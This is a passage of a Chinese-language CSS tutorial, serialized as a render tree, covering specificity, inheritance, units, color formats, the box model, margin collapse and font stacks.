",[331,109342,109332],{"class":501},[331,109344,966],{"class":337},[331,109346,109347],{"class":344},"even",[331,109349,3180],{"class":337},[331,109351,109352],{"class":1003},"\u002F* 偶数；也可 (2n+1)、odd、from-end(2) *\u002F\n",[331,109354,109355,109357,109359,109362,109364],{"class":333,"line":357},[331,109356,109332],{"class":501},[331,109358,966],{"class":337},[331,109360,109361],{"class":344},"-n+3",[331,109363,98478],{"class":337},[331,109365,109366],{"class":1003},"\u002F* 前 3 个 *\u002F\n",[331,109368,109369,109372],{"class":333,"line":371},[331,109370,109371],{"class":501},":only-child",[331,109373,109374],{"class":1003},"                         \u002F* 独子 *\u002F\n",[331,109376,109377,109380],{"class":333,"line":384},[331,109378,109379],{"class":501},":empty",[331,109381,109382],{"class":1003},"                              \u002F* 无子节点也无文本（空白符也算文本，格式化容易破坏它） *\u002F\n",[331,109384,109385,109388,109390,109393,109396],{"class":333,"line":397},[331,109386,109387],{"class":501},":not",[331,109389,966],{"class":337},[331,109391,109392],{"class":501},".is-done",[331,109394,109395],{"class":337},")                      ",[331,109397,109398],{"class":1003},"\u002F* 排除 *\u002F\n",[53,109400,109401],{"id":109401},"伪类与伪元素的分界",[11,109403,109404,272,109407,272,109410,272,109413,109416,109417,109419,109420,272,109422,272,109424,272,109427,109430,109431,109434,109435,109438],{},[22,109405,109406],{},":hover",[22,109408,109409],{},":focus",[22,109411,109412],{},":focus-visible",[22,109414,109415],{},":active"," 描述",[17,109418,36303],{},"（单冒号）；",[22,109421,109089],{},[22,109423,109096],{},[22,109425,109426],{},"::placeholder",[22,109428,109429],{},"::selection"," 创建 DOM 里",[17,109432,109433],{},"不存在的额外内容","（双冒号，第十七章展开）。历史单冒号写法（",[22,109436,109437],{},":before","）仍兼容，新代码请统一双冒号——这样一眼能看出这条规则到底有没有真的往页面里加东西。",[48,109440,109442],{"id":109441},"四层叠优先级与继承","四、层叠、优先级与继承",[53,109444,109446],{"id":109445},"权重计算三个数字","权重计算：三个数字",[57,109448,109449,109462],{},[60,109450,109451],{},[63,109452,109453,109456,109459],{},[66,109454,109455],{},"成分",[66,109457,109458],{},"来自",[66,109460,109461],{},"记为",[79,109463,109464,109477,109499],{},[63,109465,109466,109469,109474],{},[84,109467,109468],{},"id 的个数",[84,109470,109471],{},[22,109472,109473],{},"#buy",[84,109475,109476],{},"1,0,0",[63,109478,109479,109482,109496],{},[84,109480,109481],{},"class \u002F 属性 \u002F 伪类的个数",[84,109483,109484,272,109487,272,109490,272,109492,109495],{},[22,109485,109486],{},".btn",[22,109488,109489],{},"[type=text]",[22,109491,109406],{},[22,109493,109494],{},":not()"," 的参数",[84,109497,109498],{},"0,1,0",[63,109500,109501,109504,109510],{},[84,109502,109503],{},"类型与伪元素的个数",[84,109505,109506,272,109508],{},[22,109507,11],{},[22,109509,109089],{},[84,109511,109512],{},"0,0,1",[4748,109514],{"height":32474,"src":109515,"title":109516},"\u002Ftutorials\u002Fcss\u002Fdemos\u002F04-cascade.html","示例 04：权重、!important 与继承",[11,109518,109519],{},"三个常见误解：",[1659,109521,109522,109528,109548],{},[1662,109523,57160,109524,109527],{},[17,109525,109526],{},"不是十进制","，不会进位：11 个 class（0,11,0）也压不过 1 个 id（1,0,0）。",[1662,109529,109530,109532,109533,268,109535,268,109537,109539,109540,109543,109544,109547],{},[22,109531,18020],{}," 和组合子（",[22,109534,42343],{},[22,109536,12714],{},[22,109538,5404],{}," 空格）权重为 0；",[22,109541,109542],{},":where()"," 权重为 0，而 ",[22,109545,109546],{},":is()"," 取参数里最高的那个。",[1662,109549,109550,109551,109553,109554,109556],{},"元素的 ",[22,109552,108646],{}," 不参与这套计数，它高于所有规则（带 ",[22,109555,24107],{}," 的声明除外）。",[53,109558,109560],{"id":109559},"important-的代价","!important 的代价",[11,109562,109563,109564,109566,109567,109570],{},"用了它，唯一的反制手段是「更具体的选择器 + 另一个 ",[22,109565,24107],{},"」。项目里一旦开始出现「为了盖住一行 !important 再加一行 !important」，样式表就已经失控。合理用法只有三类：第三方样式表的临时补丁、工具类（如 ",[22,109568,109569],{},".visually-hidden","）、用户自己写的无障碍样式表。",[11,109572,109573,109574,78861,109576,109579,109580,109583],{},"顺带一条：",[22,109575,24107],{},[17,109577,109578],{},"这一条声明","，但简写的每个分量都会变得重要——",[22,109581,109582],{},"margin: 0 !important"," 同时锁死四个方向。",[53,109585,109586],{"id":109586},"继承与四个关键字",[11,109588,109589],{},"只有「与文字相关」的大多数属性会继承：",[57,109591,109592,109604],{},[60,109593,109594],{},[63,109595,109596,109599],{},[66,109597,109598],{},"继承",[66,109600,109601,109598],{},[17,109602,109603],{},"不",[79,109605,109606],{},[63,109607,109608,109633],{},[84,109609,109610,272,109613,272,109616,272,109619,272,109622,272,109625,272,109628,272,109630],{},[22,109611,109612],{},"color",[22,109614,109615],{},"font-*",[22,109617,109618],{},"line-height",[22,109620,109621],{},"text-*",[22,109623,109624],{},"letter-spacing",[22,109626,109627],{},"visibility",[22,109629,731],{},[22,109631,109632],{},"writing-mode",[84,109634,109635,109636,655,109638,655,109640,655,109642,655,109644,8170,109646,272,109648,272,109650,109653,109654,655,109657,109660,109661,272,109664,272,109667],{},"盒模型（",[22,109637,623],{},[22,109639,633],{},[22,109641,24063],{},[22,109643,608],{},[22,109645,99201],{},[22,109647,35025],{},[22,109649,20238],{},[22,109651,109652],{},"position"," 与定位、",[22,109655,109656],{},"flex",[22,109658,109659],{},"grid"," 全部、",[22,109662,109663],{},"overflow",[22,109665,109666],{},"opacity",[22,109668,8790],{},[11,109670,109671],{},"四个随时手动改变继承行为的关键字：",[308,109673,109675],{"className":108720,"code":109674,"language":108722,"meta":314,"style":314},"color: inherit;   \u002F* 强制继承父元素的值 *\u002F\ncolor: initial;   \u002F* 强制回到该属性的初始值（切断继承） *\u002F\ncolor: unset;     \u002F* 可继承属性 = inherit，不可继承属性 = initial *\u002F\ncolor: revert;    \u002F* 回到上一层来源的值，通常是浏览器默认样式表 *\u002F\n",[22,109676,109677,109685,109693,109701],{"__ignoreMap":314},[331,109678,109679,109682],{"class":333,"line":334},[331,109680,109681],{"class":337},"color: inherit;   ",[331,109683,109684],{"class":1003},"\u002F* 强制继承父元素的值 *\u002F\n",[331,109686,109687,109690],{"class":333,"line":341},[331,109688,109689],{"class":337},"color: initial;   ",[331,109691,109692],{"class":1003},"\u002F* 强制回到该属性的初始值（切断继承） *\u002F\n",[331,109694,109695,109698],{"class":333,"line":357},[331,109696,109697],{"class":337},"color: unset;     ",[331,109699,109700],{"class":1003},"\u002F* 可继承属性 = inherit，不可继承属性 = initial *\u002F\n",[331,109702,109703,109706],{"class":333,"line":371},[331,109704,109705],{"class":337},"color: revert;    ",[331,109707,109708],{"class":1003},"\u002F* 回到上一层来源的值，通常是浏览器默认样式表 *\u002F\n",[11,109710,109711,5160,109714,109716,109717,109719,109720,109723,109724,109726,109727,109729,109730,109732,109733,109736,109737,109739],{},[22,109712,109713],{},"revert",[22,109715,92569],{}," 的区别很实用：浏览器给 ",[22,109718,1773],{}," 的默认 ",[22,109721,109722],{},"padding-inline-start: 40px","，写 ",[22,109725,92569],{}," 得 0，写 ",[22,109728,109713],{}," 也回到默认——但当你要「撤销用户样式覆盖」或恢复用户代理样式时，只有 ",[22,109731,109713],{}," 语义正确。另有 ",[22,109734,109735],{},"revert-layer","，用于撤销当前 ",[22,109738,108685],{}," 内的结果（第十六章）。",[53,109741,109743],{"id":109742},"后写的为什么没生效四条排查思路","后写的为什么没生效：四条排查思路",[1659,109745,109746,109753,109759,109765],{},[1662,109747,109748,109749,109752],{},"Styles 面板看那条规则",[17,109750,109751],{},"有没有被划掉","，划掉会附带「被谁压制」的提示。",[1662,109754,5444,109755,109758],{},[17,109756,109757],{},"根本没出现","在面板里 → 选择器没命中，或整块解析失败。",[1662,109760,16105,109761,109764],{},[17,109762,109763],{},"Computed"," 面板搜属性名，能看到最终值来自哪一条声明。",[1662,109766,109767,109768,109771],{},"怀疑是继承：给元素显式写 ",[22,109769,109770],{},"color: initial","，值变了说明原先那个值是继承来的。",[48,109773,109775],{"id":109774},"五单位与颜色","五、单位与颜色",[53,109777,109778],{"id":109778},"绝对单位与相对单位",[11,109780,109781,109783,109784,655,109787,655,109789,109791],{},[22,109782,617],{}," 是屏幕上最稳的长度单位（1px = 一个设备像素，高倍屏由浏览器处理）。",[22,109785,109786],{},"cm",[22,109788,27385],{},[22,109790,98171],{}," 属于打印样式世界，别拿来做网页布局。",[57,109793,109794,109806],{},[60,109795,109796],{},[63,109797,109798,109801,109804],{},[66,109799,109800],{},"单位",[66,109802,109803],{},"相对什么",[66,109805,11668],{},[79,109807,109808,109824,109837,109853,109873,109886,109903],{},[63,109809,109810,109815,109818],{},[84,109811,109812],{},[22,109813,109814],{},"rem",[84,109816,109817],{},"根元素字号",[84,109819,109820,109823],{},[17,109821,109822],{},"字号与间距的首选","：改根字号即全站等比缩放",[63,109825,109826,109831,109834],{},[84,109827,109828],{},[22,109829,109830],{},"em",[84,109832,109833],{},"当前元素的字号（继承类属性看父元素）",[84,109835,109836],{},"组件内部尺寸随自身字号走，例如按钮内边距",[63,109838,109839,109843,109850],{},[84,109840,109841],{},[22,109842,715],{},[84,109844,109845,109846,109849],{},"视属性而定：宽度对父宽、高度对父高、",[17,109847,109848],{},"padding 对父元素宽度","、字号对父字号",[84,109851,109852],{},"栅格、流体容器",[63,109854,109855,109863,109866],{},[84,109856,109857,1901,109860],{},[22,109858,109859],{},"vw",[22,109861,109862],{},"vh",[84,109864,109865],{},"视口宽 \u002F 高",[84,109867,109868,109869,109872],{},"整屏高度建议用 ",[22,109870,109871],{},"svh","（小视口），避开手机地址栏收起造成的跳动",[63,109874,109875,109880,109883],{},[84,109876,109877],{},[22,109878,109879],{},"ch",[84,109881,109882],{},"「0」字符宽度",[84,109884,109885],{},"限制正文行长（一屏 45–75 字符最易读）",[63,109887,109888,109893,109896],{},[84,109889,109890],{},[22,109891,109892],{},"ic",[84,109894,109895],{},"一个「水」字宽度",[84,109897,109898,109899,109902],{},"中文排版很直观：",[22,109900,109901],{},"max-width: 38ic"," ≈ 一行 38 字",[63,109904,109905,109910,109913],{},[84,109906,109907],{},[22,109908,109909],{},"fr",[84,109911,109912],{},"Grid 的剩余空间",[84,109914,109915,109916,109919],{},"只出现在 ",[22,109917,109918],{},"grid-template-*","（第十一章）",[4748,109921],{"height":32474,"src":109922,"title":109923},"\u002Ftutorials\u002Fcss\u002Fdemos\u002F05a-units.html","示例 05a：rem \u002F em \u002F % \u002F vw \u002F ch 的差异",[11,109925,109926,109927,109930,109931,109934,109935,109938,109939,272,109942,272,109945,272,109947,109950,109951,655,109954,655,109957,109960,109961,109964,109965,109968,109969,655,109971,161],{},"还有几类不需要长度单位：",[22,109928,109929],{},"line-height: 1.6","（无单位数字 = 字号倍数，比 ",[22,109932,109933],{},"1.6em"," 安全，不会随继承重复相乘）、",[22,109936,109937],{},"margin: 0","（0 不需要单位）、",[22,109940,109941],{},"flex-grow",[22,109943,109944],{},"z-index",[22,109946,109666],{},[22,109948,109949],{},"font-weight","。角度有 ",[22,109952,109953],{},"deg",[22,109955,109956],{},"turn",[22,109958,109959],{},"rad","（转 90° 写 ",[22,109962,109963],{},".25turn"," 比 ",[22,109966,109967],{},"90deg"," 更直观），时间有 ",[22,109970,21542],{},[22,109972,109973],{},"ms",[53,109975,109976],{"id":109976},"颜色的六种写法",[308,109978,109980],{"className":108720,"code":109979,"language":108722,"meta":314,"style":314},"#0969da             \u002F* RRGGBB *\u002F\n#0969da80           \u002F* RRGGBBAA：最后两位是透明度，00 全透明 *\u002F\n#069                \u002F* 三位缩写 = #006699，只有每对数字相同才能缩写；#069da（5 位）非法 *\u002F\nrgb(9 105 218)      \u002F* 现代语法用空格分隔，逗号写法同样支持 *\u002F\nrgb(9 105 218 \u002F .5) \u002F* 透明度单独给 *\u002F\nhsl(212 92% 45% \u002F 50%)\nhwb(212 4% 15%)     \u002F* 白量、黑量，比 hsl 更符合「调深浅」的直觉 *\u002F\noklch(52% 0.19 253) \u002F* 感知均匀 *\u002F\nroyalblue           \u002F* 147 个 CSS 命名色之一，正式项目不建议 *\u002F\ntransparent  currentColor  inherit\n",[22,109981,109982,109990,109998,110006,110014,110027,110032,110040,110054,110062],{"__ignoreMap":314},[331,109983,109984,109987],{"class":333,"line":334},[331,109985,109986],{"class":7088},"#0969da",[331,109988,109989],{"class":1003},"             \u002F* RRGGBB *\u002F\n",[331,109991,109992,109995],{"class":333,"line":341},[331,109993,109994],{"class":7088},"#0969da80",[331,109996,109997],{"class":1003},"           \u002F* RRGGBBAA：最后两位是透明度，00 全透明 *\u002F\n",[331,109999,110000,110003],{"class":333,"line":357},[331,110001,110002],{"class":7088},"#069",[331,110004,110005],{"class":1003},"                \u002F* 三位缩写 = #006699，只有每对数字相同才能缩写；#069da（5 位）非法 *\u002F\n",[331,110007,110008,110011],{"class":333,"line":371},[331,110009,110010],{"class":337},"rgb(9 105 218)      ",[331,110012,110013],{"class":1003},"\u002F* 现代语法用空格分隔，逗号写法同样支持 *\u002F\n",[331,110015,110016,110019,110022,110024],{"class":333,"line":384},[331,110017,110018],{"class":337},"rgb(9 105 218 \u002F ",[331,110020,110021],{"class":7088},".5",[331,110023,3180],{"class":337},[331,110025,110026],{"class":1003},"\u002F* 透明度单独给 *\u002F\n",[331,110028,110029],{"class":333,"line":397},[331,110030,110031],{"class":337},"hsl(212 92% 45% \u002F 50%)\n",[331,110033,110034,110037],{"class":333,"line":418},[331,110035,110036],{"class":337},"hwb(212 4% 15%)     ",[331,110038,110039],{"class":1003},"\u002F* 白量、黑量，比 hsl 更符合「调深浅」的直觉 *\u002F\n",[331,110041,110042,110045,110048,110051],{"class":333,"line":427},[331,110043,110044],{"class":337},"oklch(52% 0",[331,110046,110047],{"class":501},".19",[331,110049,110050],{"class":337}," 253) ",[331,110052,110053],{"class":1003},"\u002F* 感知均匀 *\u002F\n",[331,110055,110056,110059],{"class":333,"line":439},[331,110057,110058],{"class":337},"royalblue           ",[331,110060,110061],{"class":1003},"\u002F* 147 个 CSS 命名色之一，正式项目不建议 *\u002F\n",[331,110063,110064],{"class":333,"line":450},[331,110065,110066],{"class":337},"transparent  currentColor  inherit\n",[4748,110068],{"height":32474,"src":110069,"title":110070},"\u002Ftutorials\u002Fcss\u002Fdemos\u002F05b-colors.html","示例 05b：颜色写法与透明度",[11,110072,110073,110074,110077,110078,6745,110081,110084,110085,17306,110088,110094],{},"选写法的依据：固定品牌色用 ",[22,110075,110076],{},"#RRGGBB","；要成组调明暗、生成色阶用 ",[22,110079,110080],{},"hsl()",[22,110082,110083],{},"hwb()","（改一个数字出一系列）；JS 计算出的色值用 ",[22,110086,110087],{},"rgb(… \u002F a)",[17,110089,110090,110091],{},"做色阶系统用 ",[22,110092,110093],{},"oklch()","——HSL 的「50% 亮度」在不同色相下视觉明度差很多（黄色亮、蓝紫暗），OKLCH 是感知均匀的，同一 L 值的各色看起来真的同样亮。",[53,110096,110098],{"id":110097},"透明度currentcolor-与暗色主题","透明度、currentColor 与暗色主题",[11,110100,110101,5160,110104,110106,110107,110110,110111,110114,110115,22270],{},[22,110102,110103],{},"alpha",[22,110105,109666],{}," 不是一件事：",[22,110108,110109],{},"background: rgb(9 105 218 \u002F .5)"," 只让这一层背景透明，文字仍然清晰；",[22,110112,110113],{},"opacity: .5"," 把整层（含子元素、边框）一起透明，并且",[17,110116,110117],{},"会创建层叠上下文",[11,110119,110120,110123,110124,110126,110127,272,110130,110133],{},[22,110121,110122],{},"currentColor"," 取当前元素的 ",[22,110125,109612],{}," 值，于是 ",[22,110128,110129],{},"border-color: currentColor",[22,110131,110132],{},"box-shadow: 0 0 0 3px currentColor"," 会随主题自动跟随，不必额外维护变量。",[11,110135,110136],{},"暗色主题的正解是把颜色收进自定义属性（第十四章）：",[308,110138,110140],{"className":108720,"code":110139,"language":108722,"meta":314,"style":314},":root { --c-bg: #fff; --c-text: #24292f; --c-primary: #0969da; }\nhtml[data-theme='dark'] { --c-bg: #0d1117; --c-text: #e6edf3; --c-primary: #6aa8ff; }\n",[22,110141,110142,110177],{"__ignoreMap":314},[331,110143,110144,110147,110149,110152,110154,110157,110159,110162,110164,110166,110168,110171,110173,110175],{"class":333,"line":334},[331,110145,110146],{"class":501},":root",[331,110148,605],{"class":337},[331,110150,110151],{"class":2472},"--c-bg",[331,110153,348],{"class":337},[331,110155,110156],{"class":344},"#fff",[331,110158,620],{"class":337},[331,110160,110161],{"class":2472},"--c-text",[331,110163,348],{"class":337},[331,110165,108750],{"class":344},[331,110167,620],{"class":337},[331,110169,110170],{"class":2472},"--c-primary",[331,110172,348],{"class":337},[331,110174,109986],{"class":344},[331,110176,664],{"class":337},[331,110178,110179,110181,110183,110185,110187,110189,110192,110194,110196,110199,110201,110203,110205,110208,110210,110212,110214,110217],{"class":333,"line":341},[331,110180,487],{"class":497},[331,110182,2487],{"class":337},[331,110184,13269],{"class":501},[331,110186,518],{"class":616},[331,110188,71515],{"class":365},[331,110190,110191],{"class":337},"] { ",[331,110193,110151],{"class":2472},[331,110195,348],{"class":337},[331,110197,110198],{"class":344},"#0d1117",[331,110200,620],{"class":337},[331,110202,110161],{"class":2472},[331,110204,348],{"class":337},[331,110206,110207],{"class":344},"#e6edf3",[331,110209,620],{"class":337},[331,110211,110170],{"class":2472},[331,110213,348],{"class":337},[331,110215,110216],{"class":344},"#6aa8ff",[331,110218,664],{"class":337},[11,110220,110221,110222,110225],{},"不要把颜色简单取反：深蓝底配高饱和品牌色会「发光」刺眼，通常要降饱和、提明度。另外 ",[22,110223,110224],{},"color-scheme: light dark"," 这一行能让浏览器的默认控件、滚动条、表单底色一起切换——成本极低，收益明显（本站全站样式里就有这一条）。",[48,110227,110229],{"id":110228},"六盒模型所有尺寸问题最后都回到这四层","六、盒模型：所有尺寸问题最后都回到这四层",[11,110231,110232],{},"前面五章解决的是「谁生效」。从这一章起解决「生效成多大」，而元素的大小由盒模型（box model）决定：内容盒（content）→ 内边距（padding）→ 边框（border）→ 外边距（margin），由内向外四层。",[4748,110234],{"height":32474,"src":110235,"title":110236},"\u002Ftutorials\u002Fcss\u002Fdemos\u002F06-box-model.html","示例 06：两种盒模型、边距塌陷与负 margin",[53,110238,110240,5160,110243,322,110245,110247],{"id":110239},"content-box-与-border-boxwidth-到底指哪一层",[22,110241,110242],{},"content-box",[22,110244,109106],{},[22,110246,608],{}," 到底指哪一层",[11,110249,110250,110251,322,110253,110255,110256,110259],{},"浏览器默认是 ",[22,110252,110242],{},[22,110254,608],{}," 只描述",[17,110257,110258],{},"内容区","，padding 和 border 在它外面往外撑。于是这个经典事故：",[308,110261,110263],{"className":108720,"code":110262,"language":108722,"meta":314,"style":314},".card { width: 100%; padding: 16px; border: 1px solid #ddd; }  \u002F* 实际占位 = 100% + 34px，横向溢出 *\u002F\n",[22,110264,110265],{"__ignoreMap":314},[331,110266,110267,110269,110271,110273,110275,110277,110279,110281,110283,110285,110287,110289,110291,110293,110295,110297,110299,110301,110303,110306],{"class":333,"line":334},[331,110268,109053],{"class":501},[331,110270,605],{"class":337},[331,110272,608],{"class":344},[331,110274,348],{"class":337},[331,110276,712],{"class":344},[331,110278,715],{"class":616},[331,110280,620],{"class":337},[331,110282,633],{"class":344},[331,110284,348],{"class":337},[331,110286,38994],{"class":344},[331,110288,617],{"class":616},[331,110290,620],{"class":337},[331,110292,24063],{"class":344},[331,110294,348],{"class":337},[331,110296,7993],{"class":344},[331,110298,617],{"class":616},[331,110300,24072],{"class":344},[331,110302,35010],{"class":344},[331,110304,110305],{"class":337},"; }  ",[331,110307,110308],{"class":1003},"\u002F* 实际占位 = 100% + 34px，横向溢出 *\u002F\n",[11,110310,110311,110312,110314,110315,110317,110318,110321],{},"改成 ",[22,110313,109106],{}," 之后，",[22,110316,608],{}," 变成「最终占位宽」，padding 和 border 从里面扣，",[22,110319,110320],{},"width: 100%"," 就真的是 100%。所以现代项目的第一行几乎都写成：",[308,110323,110325],{"className":108720,"code":110324,"language":108722,"meta":314,"style":314},"*, *::before, *::after { box-sizing: border-box; }\n",[22,110326,110327],{"__ignoreMap":314},[331,110328,110329,110331,110333,110335,110337,110339,110341,110343,110345,110347,110349,110351],{"class":333,"line":334},[331,110330,18020],{"class":497},[331,110332,409],{"class":337},[331,110334,18020],{"class":497},[331,110336,109089],{"class":501},[331,110338,409],{"class":337},[331,110340,18020],{"class":497},[331,110342,109096],{"class":501},[331,110344,605],{"class":337},[331,110346,109101],{"class":344},[331,110348,348],{"class":337},[331,110350,109106],{"class":344},[331,110352,664],{"class":337},[11,110354,110355,110356,110359,110360,110362],{},"选择器里的 ",[22,110357,110358],{},"*::before, *::after"," 不能省：伪元素同样是盒子，用 ",[22,110361,18020],{}," 选不到它们，很多「加了装饰就溢出」的问题出在这。",[11,110364,110365],{},"两条边界情况值得提前知道：",[1773,110367,110368,110378],{},[1662,110369,110370,36145,110372,110374,110375,17306],{},[22,110371,109106],{},[22,110373,608],{}," 不再等于内容宽。文字类容器要保底，用 ",[22,110376,110377],{},"min-width",[1662,110379,32788,110380,110383,110384,110387],{},[22,110381,110382],{},"box-sizing: border-box"," 之后，某些第三方 CSS（老式表单样式、部分日历组件）会算错尺寸，这时对那几个选择器单独写回 ",[22,110385,110386],{},"box-sizing: content-box","，不要反过来取消全局声明。",[53,110389,110391,5160,110393,110395],{"id":110390},"margin-与-padding一个占外面一个占里面",[22,110392,623],{},[22,110394,633],{},"：一个占外面、一个占里面",[11,110397,18977,110398,110401,110402,110404,110405,161],{},[17,110399,110400],{},"背景色要不要覆盖这块区域","。要覆盖（内文离边缘的距离、可点击区域的大小）就用 ",[22,110403,633],{},"；只是把邻居推开就用 ",[22,110406,623],{},[11,110408,110409],{},"由此引出几条实用的差别：",[1773,110411,110412,110422,110439],{},[1662,110413,110414,110416,110417,110419,110420,17306],{},[22,110415,633],{}," 会扩大背景与点击热区，导航项的可点击范围不足时，先加 ",[22,110418,633],{}," 而不是加 ",[22,110421,623],{},[1662,110423,110424,110426,110427,110430,110431,110434,110435,110438],{},[22,110425,633],{}," 不吃百分比的高度语义：",[22,110428,110429],{},"padding: 5%"," 的",[17,110432,110433],{},"上下","部分也是按父元素",[17,110436,110437],{},"宽度","算的（历史上为了做等高列），这条最容易记错；",[1662,110440,110441,110443,110444,110446,110447,110450],{},[22,110442,623],{}," 有 ",[22,110445,90367],{}," 这个特殊值：",[22,110448,110449],{},"margin-inline: auto"," 让块级元素在父容器里水平居中，这是「不定宽容器居中」的最短写法。",[53,110452,110454],{"id":110453},"外边距塌陷16px-16px-为什么只有-16px","外边距塌陷：16px + 16px 为什么只有 16px",[11,110456,110457,110458,110461,110462,110465],{},"两个相邻",[17,110459,110460],{},"块级","元素的垂直 margin 会合并成一个，取绝对值较大的那个。所以「上下相邻的两个卡片各写 ",[22,110463,110464],{},"margin: 16px","」得到的间距是 16px，不是 32px。合并规则有三种情形：正正取大、负负取绝对值大的、正负相加。",[11,110467,110468,110469,110472,110473,110476,110477,110480,110481,110484,110485,110488],{},"更常见的是第二种塌陷——",[17,110470,110471],{},"父与子的 margin 穿透","：父元素没有 ",[22,110474,110475],{},"padding-top","、没有 ",[22,110478,110479],{},"border-top","、且不是 BFC 时，子的 ",[22,110482,110483],{},"margin-top"," 会把父元素一起推下去，看起来像「margin 加到了父身上」。老代码里给父容器随手写 ",[22,110486,110487],{},"overflow: hidden"," 就是在处理这个问题（它在创建 BFC）。",[11,110490,110491,110492,110498,110499,110501,110502,110505],{},"今天的最优解不是背塌陷规则，而是",[17,110493,110494,110495],{},"改用 Flex\u002FGrid 的 ",[22,110496,110497],{},"gap","：Flex 与 Grid 的子项之间不发生 margin 合并，间距由 ",[22,110500,110497],{}," 一处声明，首尾不会多出空白，也不需要 ",[22,110503,110504],{},":last-child { margin: 0 }","。这一条能消掉大部分「间距玄学」。",[53,110507,110509,110510,110512],{"id":110508},"负-margin合法但危险","负 ",[22,110511,623],{},"：合法但危险",[11,110514,110515,110518],{},[22,110516,110517],{},"margin-left: -12px"," 能把元素往左拽回 12px，头像列表相互叠压、把内容对齐到视觉基线（数字悬挂在标点左侧）都会用到。风险是它把元素推到容器之外，窄屏会直接产生横向滚动条。",[308,110520,110522],{"className":108720,"code":110521,"language":108722,"meta":314,"style":314},".avatars img { margin-left: -8px; }             \u002F* 叠压效果 *\u002F\n.avatars img:first-child { margin-left: 0; }    \u002F* 第一个不叠，否则整体左移 *\u002F\n.avatars img { border: 2px solid #fff; }        \u002F* 必须给描边，否则叠在一起看不出层次 *\u002F\n",[22,110523,110524,110549,110571],{"__ignoreMap":314},[331,110525,110526,110529,110531,110533,110536,110538,110541,110543,110546],{"class":333,"line":334},[331,110527,110528],{"class":501},".avatars",[331,110530,60714],{"class":497},[331,110532,605],{"class":337},[331,110534,110535],{"class":344},"margin-left",[331,110537,348],{"class":337},[331,110539,110540],{"class":344},"-8",[331,110542,617],{"class":616},[331,110544,110545],{"class":337},"; }             ",[331,110547,110548],{"class":1003},"\u002F* 叠压效果 *\u002F\n",[331,110550,110551,110553,110555,110557,110559,110561,110563,110565,110568],{"class":333,"line":341},[331,110552,110528],{"class":501},[331,110554,60714],{"class":497},[331,110556,109319],{"class":501},[331,110558,605],{"class":337},[331,110560,110535],{"class":344},[331,110562,348],{"class":337},[331,110564,628],{"class":344},[331,110566,110567],{"class":337},"; }    ",[331,110569,110570],{"class":1003},"\u002F* 第一个不叠，否则整体左移 *\u002F\n",[331,110572,110573,110575,110577,110579,110581,110583,110585,110587,110589,110592,110595],{"class":333,"line":357},[331,110574,110528],{"class":501},[331,110576,60714],{"class":497},[331,110578,605],{"class":337},[331,110580,24063],{"class":344},[331,110582,348],{"class":337},[331,110584,9292],{"class":344},[331,110586,617],{"class":616},[331,110588,24072],{"class":344},[331,110590,110591],{"class":344}," #fff",[331,110593,110594],{"class":337},"; }        ",[331,110596,110597],{"class":1003},"\u002F* 必须给描边，否则叠在一起看不出层次 *\u002F\n",[11,110599,110600,110601,110603,110604,6745,110606,161],{},"只在一维上用负 margin。两列布局用负 margin 拼间距是二十年前的做法（",[22,110602,40110],{}," + 负 margin 的栅格），今天写 ",[22,110605,110497],{},[22,110607,110608],{},"minmax()",[53,110610,110611],{"id":110611},"自查清单",[11,110613,110614],{},"排「尺寸不对」时按这个顺序看：",[1659,110616,110617,110623,110632,110640],{},[1662,110618,110619,110620,110622],{},"Computed 面板的盒子图，确认 ",[22,110621,109101],{}," 生效（被 reset 文件覆盖是常见事故）；",[1662,110624,110625,4809,110627,4809,110629,110631],{},[22,110626,608],{},[22,110628,633],{},[22,110630,24063],{}," 是否超过父容器；",[1662,110633,110634,110635,6745,110637,110639],{},"上下间距不对时，先确认有没有塌陷（把 margin 换成 ",[22,110636,110497],{},[22,110638,633],{},"，如果问题消失，就是塌陷）；",[1662,110641,110642,110643,655,110645,110647],{},"内容把容器撑爆时，查 ",[22,110644,110377],{},[22,110646,748],{},"（Flex\u002FGrid 子项的自动最小尺寸，见第十章与十一章）。",[48,110649,110651],{"id":110650},"七文本与字体中文排版的三个特殊点","七、文本与字体：中文排版的三个特殊点",[11,110653,110654,110655,4839,110658,110660,110661,4839,110664,272,110666,272,110669,4813],{},"文字是网页的主要内容，而 CSS 里跟文字有关的属性分两组：一组决定",[17,110656,110657],{},"用什么样的字",[22,110659,109615],{},"），一组决定",[17,110662,110663],{},"这些字怎么排",[22,110665,109621],{},[22,110667,110668],{},"white-space",[22,110670,110671],{},"word-break",[4748,110673],{"height":5635,"src":110674,"title":110675},"\u002Ftutorials\u002Fcss\u002Fdemos\u002F07-text-font.html","示例 07：字体栈、行高、换行与截断",[53,110677,110679],{"id":110678},"字体栈与-fallback-顺序","字体栈与 fallback 顺序",[308,110681,110683],{"className":108720,"code":110682,"language":108722,"meta":314,"style":314},"body {\n  font-family: system-ui, -apple-system, \"Segoe UI\", \"PingFang SC\",\n               \"Hiragino Sans GB\", \"Microsoft YaHei\", sans-serif;\n}\n",[22,110684,110685,110691,110718,110735],{"__ignoreMap":314},[331,110686,110687,110689],{"class":333,"line":334},[331,110688,800],{"class":497},[331,110690,1100],{"class":337},[331,110692,110693,110696,110698,110701,110703,110706,110708,110711,110713,110716],{"class":333,"line":341},[331,110694,110695],{"class":344},"  font-family",[331,110697,348],{"class":337},[331,110699,110700],{"class":344},"system-ui",[331,110702,409],{"class":337},[331,110704,110705],{"class":344},"-apple-system",[331,110707,409],{"class":337},[331,110709,110710],{"class":365},"\"Segoe UI\"",[331,110712,409],{"class":337},[331,110714,110715],{"class":365},"\"PingFang SC\"",[331,110717,354],{"class":337},[331,110719,110720,110723,110725,110728,110730,110733],{"class":333,"line":357},[331,110721,110722],{"class":365},"               \"Hiragino Sans GB\"",[331,110724,409],{"class":337},[331,110726,110727],{"class":365},"\"Microsoft YaHei\"",[331,110729,409],{"class":337},[331,110731,110732],{"class":344},"sans-serif",[331,110734,108769],{"class":337},[331,110736,110737],{"class":333,"line":371},[331,110738,459],{"class":337},[11,110740,110741,18283,110744,110747],{},[22,110742,110743],{},"font-family",[17,110745,110746],{},"一个候选列表","，浏览器从左往右取第一个「本机装有」的字体，全部落空才用最后的通用族关键字。因此三条规则：",[1773,110749,110750,110764,110767],{},[1662,110751,110752,110753,110755,110756,272,110758,272,110760,110763],{},"带空格的名字必须加引号（",[22,110754,110715],{},"），关键字（",[22,110757,110732],{},[22,110759,110700],{},[22,110761,110762],{},"monospace","）不加；",[1662,110765,110766],{},"末尾一定要放通用族兜底；",[1662,110768,110769,110770,110773,110774,110777],{},"中文站一定要写中文族名。只写 ",[22,110771,110772],{},"Arial"," 时中文交给浏览器随机 fallback，Windows 与 macOS 